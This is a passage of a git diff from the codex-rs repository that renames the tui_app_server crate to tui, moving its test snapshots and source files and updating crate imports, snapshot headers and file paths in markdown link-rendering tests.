codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap index b240e4b5f..7b1381c96 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__preamble_keeps_working_status.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__rate_limit_switch_prompt_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_audio_selection_popup_narrow.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap similarity index 90% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap index 3095e6da9..00392bc9d 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__realtime_microphone_picker_popup.snap @@ -7,7 +7,7 @@ expression: popup 1. System default Use your operating system default device. -› 2. Unavailable: Studio Mic (current) (disabled) Configured device is not +› Unavailable: Studio Mic (current) (disabled) Configured device is not currently available. (disabled: Reconnect the device or choose another diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap similarity index 81% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap index eb3183f57..381607fa6 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7060 expression: header --- › Ask Codex to do anything diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap similarity index 85% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap index a63833e7b..c60607c07 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__review_queues_user_messages_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- • Working (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap similarity index 80% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap index 2c0caf271..30dfa78e5 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__session_start_hook_events_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__session_start_hook_events_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: combined --- • Running SessionStart hook: warming the shell diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap similarity index 71% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap index 7e24b570e..3ade0924e 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_no_output_info_message.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 4430 -expression: rendered.clone() +expression: rendered --- • `/copy` is unavailable before the first Codex output or right after a rollback. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_fast_mode_footer.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap similarity index 90% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap index 31e3f1891..0eef02e0a 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_line_model_with_reasoning_plan_mode_footer.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: terminal.backend() --- " " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap index 3acfd95ee..e4fea3544 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_active.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__status_widget_and_approval_modal.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap index 3726917d2..9146406a6 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_begin_restores_working_status.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap similarity index 78% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap index 933bc7072..3b7c1ecc4 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap @@ -8,4 +8,4 @@ expression: rendered › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/proj… diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__update_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap similarity index 82% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap index bb670570e..c7e239423 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 12789 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new similarity index 82% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new index bb670570e..c7e239423 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_prompt_submit_app_server_hook_notifications_render_snapshot.snap.new @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs assertion_line: 12789 expression: combined --- diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__user_shell_ls_output.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/status_surfaces.rs b/codex-rs/tui/src/chatwidget/status_surfaces.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/status_surfaces.rs rename to codex-rs/tui/src/chatwidget/status_surfaces.rs diff --git a/codex-rs/tui_app_server/src/chatwidget/tests.rs b/codex-rs/tui/src/chatwidget/tests.rs similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/tests.rs rename to codex-rs/tui/src/chatwidget/tests.rs diff --git a/codex-rs/tui_app_server/src/cli.rs b/codex-rs/tui/src/cli.rs similarity index 100% rename from codex-rs/tui_app_server/src/cli.rs rename to codex-rs/tui/src/cli.rs diff --git a/codex-rs/tui_app_server/src/clipboard_paste.rs b/codex-rs/tui/src/clipboard_paste.rs similarity index 100% rename from codex-rs/tui_app_server/src/clipboard_paste.rs rename to codex-rs/tui/src/clipboard_paste.rs diff --git a/codex-rs/tui_app_server/src/clipboard_text.rs b/codex-rs/tui/src/clipboard_text.rs similarity index 100% rename from codex-rs/tui_app_server/src/clipboard_text.rs rename to codex-rs/tui/src/clipboard_text.rs diff --git a/codex-rs/tui_app_server/src/collaboration_modes.rs b/codex-rs/tui/src/collaboration_modes.rs similarity index 100% rename from codex-rs/tui_app_server/src/collaboration_modes.rs rename to codex-rs/tui/src/collaboration_modes.rs diff --git a/codex-rs/tui_app_server/src/color.rs b/codex-rs/tui/src/color.rs similarity index 100% rename from codex-rs/tui_app_server/src/color.rs rename to codex-rs/tui/src/color.rs diff --git a/codex-rs/tui_app_server/src/custom_terminal.rs b/codex-rs/tui/src/custom_terminal.rs similarity index 100% rename from codex-rs/tui_app_server/src/custom_terminal.rs rename to codex-rs/tui/src/custom_terminal.rs diff --git a/codex-rs/tui_app_server/src/cwd_prompt.rs b/codex-rs/tui/src/cwd_prompt.rs similarity index 100% rename from codex-rs/tui_app_server/src/cwd_prompt.rs rename to codex-rs/tui/src/cwd_prompt.rs diff --git a/codex-rs/tui_app_server/src/debug_config.rs b/codex-rs/tui/src/debug_config.rs similarity index 100% rename from codex-rs/tui_app_server/src/debug_config.rs rename to codex-rs/tui/src/debug_config.rs diff --git a/codex-rs/tui_app_server/src/diff_render.rs b/codex-rs/tui/src/diff_render.rs similarity index 100% rename from codex-rs/tui_app_server/src/diff_render.rs rename to codex-rs/tui/src/diff_render.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/mod.rs b/codex-rs/tui/src/exec_cell/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/mod.rs rename to codex-rs/tui/src/exec_cell/mod.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/model.rs b/codex-rs/tui/src/exec_cell/model.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/model.rs rename to codex-rs/tui/src/exec_cell/model.rs diff --git a/codex-rs/tui_app_server/src/exec_cell/render.rs b/codex-rs/tui/src/exec_cell/render.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_cell/render.rs rename to codex-rs/tui/src/exec_cell/render.rs diff --git a/codex-rs/tui_app_server/src/exec_command.rs b/codex-rs/tui/src/exec_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/exec_command.rs rename to codex-rs/tui/src/exec_command.rs diff --git a/codex-rs/tui_app_server/src/external_editor.rs b/codex-rs/tui/src/external_editor.rs similarity index 100% rename from codex-rs/tui_app_server/src/external_editor.rs rename to codex-rs/tui/src/external_editor.rs diff --git a/codex-rs/tui_app_server/src/file_search.rs b/codex-rs/tui/src/file_search.rs similarity index 100% rename from codex-rs/tui_app_server/src/file_search.rs rename to codex-rs/tui/src/file_search.rs diff --git a/codex-rs/tui_app_server/src/frames.rs b/codex-rs/tui/src/frames.rs similarity index 100% rename from codex-rs/tui_app_server/src/frames.rs rename to codex-rs/tui/src/frames.rs diff --git a/codex-rs/tui_app_server/src/get_git_diff.rs b/codex-rs/tui/src/get_git_diff.rs similarity index 100% rename from codex-rs/tui_app_server/src/get_git_diff.rs rename to codex-rs/tui/src/get_git_diff.rs diff --git a/codex-rs/tui_app_server/src/history_cell.rs b/codex-rs/tui/src/history_cell.rs similarity index 100% rename from codex-rs/tui_app_server/src/history_cell.rs rename to codex-rs/tui/src/history_cell.rs diff --git a/codex-rs/tui_app_server/src/insert_history.rs b/codex-rs/tui/src/insert_history.rs similarity index 100% rename from codex-rs/tui_app_server/src/insert_history.rs rename to codex-rs/tui/src/insert_history.rs diff --git a/codex-rs/tui_app_server/src/key_hint.rs b/codex-rs/tui/src/key_hint.rs similarity index 100% rename from codex-rs/tui_app_server/src/key_hint.rs rename to codex-rs/tui/src/key_hint.rs diff --git a/codex-rs/tui_app_server/src/lib.rs b/codex-rs/tui/src/lib.rs similarity index 100% rename from codex-rs/tui_app_server/src/lib.rs rename to codex-rs/tui/src/lib.rs diff --git a/codex-rs/tui_app_server/src/line_truncation.rs b/codex-rs/tui/src/line_truncation.rs similarity index 100% rename from codex-rs/tui_app_server/src/line_truncation.rs rename to codex-rs/tui/src/line_truncation.rs diff --git a/codex-rs/tui_app_server/src/live_wrap.rs b/codex-rs/tui/src/live_wrap.rs similarity index 100% rename from codex-rs/tui_app_server/src/live_wrap.rs rename to codex-rs/tui/src/live_wrap.rs diff --git a/codex-rs/tui_app_server/src/local_chatgpt_auth.rs b/codex-rs/tui/src/local_chatgpt_auth.rs similarity index 100% rename from codex-rs/tui_app_server/src/local_chatgpt_auth.rs rename to codex-rs/tui/src/local_chatgpt_auth.rs diff --git a/codex-rs/tui_app_server/src/main.rs b/codex-rs/tui/src/main.rs similarity index 94% rename from codex-rs/tui_app_server/src/main.rs rename to codex-rs/tui/src/main.rs index ae6111143..8e0d81708 100644 --- a/codex-rs/tui_app_server/src/main.rs +++ b/codex-rs/tui/src/main.rs @@ -1,8 +1,8 @@ use clap::Parser; use codex_arg0::Arg0DispatchPaths; use codex_arg0::arg0_dispatch_or_else; -use codex_tui_app_server::Cli; -use codex_tui_app_server::run_main; +use codex_tui::Cli; +use codex_tui::run_main; use codex_utils_cli::CliConfigOverrides; #[derive(Parser, Debug)] diff --git a/codex-rs/tui_app_server/src/markdown.rs b/codex-rs/tui/src/markdown.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown.rs rename to codex-rs/tui/src/markdown.rs diff --git a/codex-rs/tui_app_server/src/markdown_render.rs b/codex-rs/tui/src/markdown_render.rs similarity index 100% rename from codex-rs/tui_app_server/src/markdown_render.rs rename to codex-rs/tui/src/markdown_render.rs diff --git a/codex-rs/tui_app_server/src/markdown_render_tests.rs b/codex-rs/tui/src/markdown_render_tests.rs similarity index 96% rename from codex-rs/tui_app_server/src/markdown_render_tests.rs rename to codex-rs/tui/src/markdown_render_tests.rs index 4c6472a02..9594cd484 100644 --- a/codex-rs/tui_app_server/src/markdown_render_tests.rs +++ b/codex-rs/tui/src/markdown_render_tests.rs @@ -668,22 +668,22 @@ fn load_location_suffix_regexes() { #[test] fn file_link_hides_destination() { let text = render_markdown_text_for_cwd( - "[codex-rs/tui_app_server/src/markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs)", + "[codex-rs/tui/src/markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs)", Path::new("/Users/example/code/codex"), ); let expected = - Text::from(Line::from_iter(["codex-rs/tui_app_server/src/markdown_render.rs".cyan()])); + Text::from(Line::from_iter(["codex-rs/tui/src/markdown_render.rs".cyan()])); assert_eq!(text, expected); } #[test] fn file_link_appends_line_number_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74)", + "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74".cyan(), + "codex-rs/tui/src/markdown_render.rs:74".cyan(), ])); assert_eq!(text, expected); } @@ -701,12 +701,12 @@ fn file_link_keeps_absolute_paths_outside_cwd() { #[test] fn file_link_appends_hash_anchor_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -714,12 +714,12 @@ fn file_link_appends_hash_anchor_when_label_lacks_it() { #[test] fn file_link_uses_target_path_for_hash_anchor() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs#L74C3](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3)", + "[markdown_render.rs#L74C3](file:///Users/example/code/codex/codex-rs/tui/src/markdown_render.rs#L74C3)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3".cyan(), ])); assert_eq!(text, expected); } @@ -727,12 +727,12 @@ fn file_link_uses_target_path_for_hash_anchor() { #[test] fn file_link_appends_range_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9)", + "[markdown_render.rs](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74:3-76:9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -740,12 +740,12 @@ fn file_link_appends_range_when_label_lacks_it() { #[test] fn file_link_uses_target_path_for_range() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs:74:3-76:9](/Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9)", + "[markdown_render.rs:74:3-76:9](/Users/example/code/codex/codex-rs/tui/src/markdown_render.rs:74:3-76:9)", Path::new("/Users/example/code/codex"), ); let expected = Text::from(Line::from_iter([ - "codex-rs/tui_app_server/src/markdown_render.rs:74:3-76:9".cyan(), + "codex-rs/tui/src/markdown_render.rs:74:3-76:9".cyan(), ])); assert_eq!(text, expected); } @@ -753,12 +753,12 @@ fn file_link_uses_target_path_for_range() { #[test] fn file_link_appends_hash_range_when_label_lacks_it() { let text = render_markdown_text_for_cwd( - "[markdown_render.rs](file:///Users/example/code/codex/codex-rs/tui_app_server/src/markdown_render.rs#L74C3-L76C9)", + 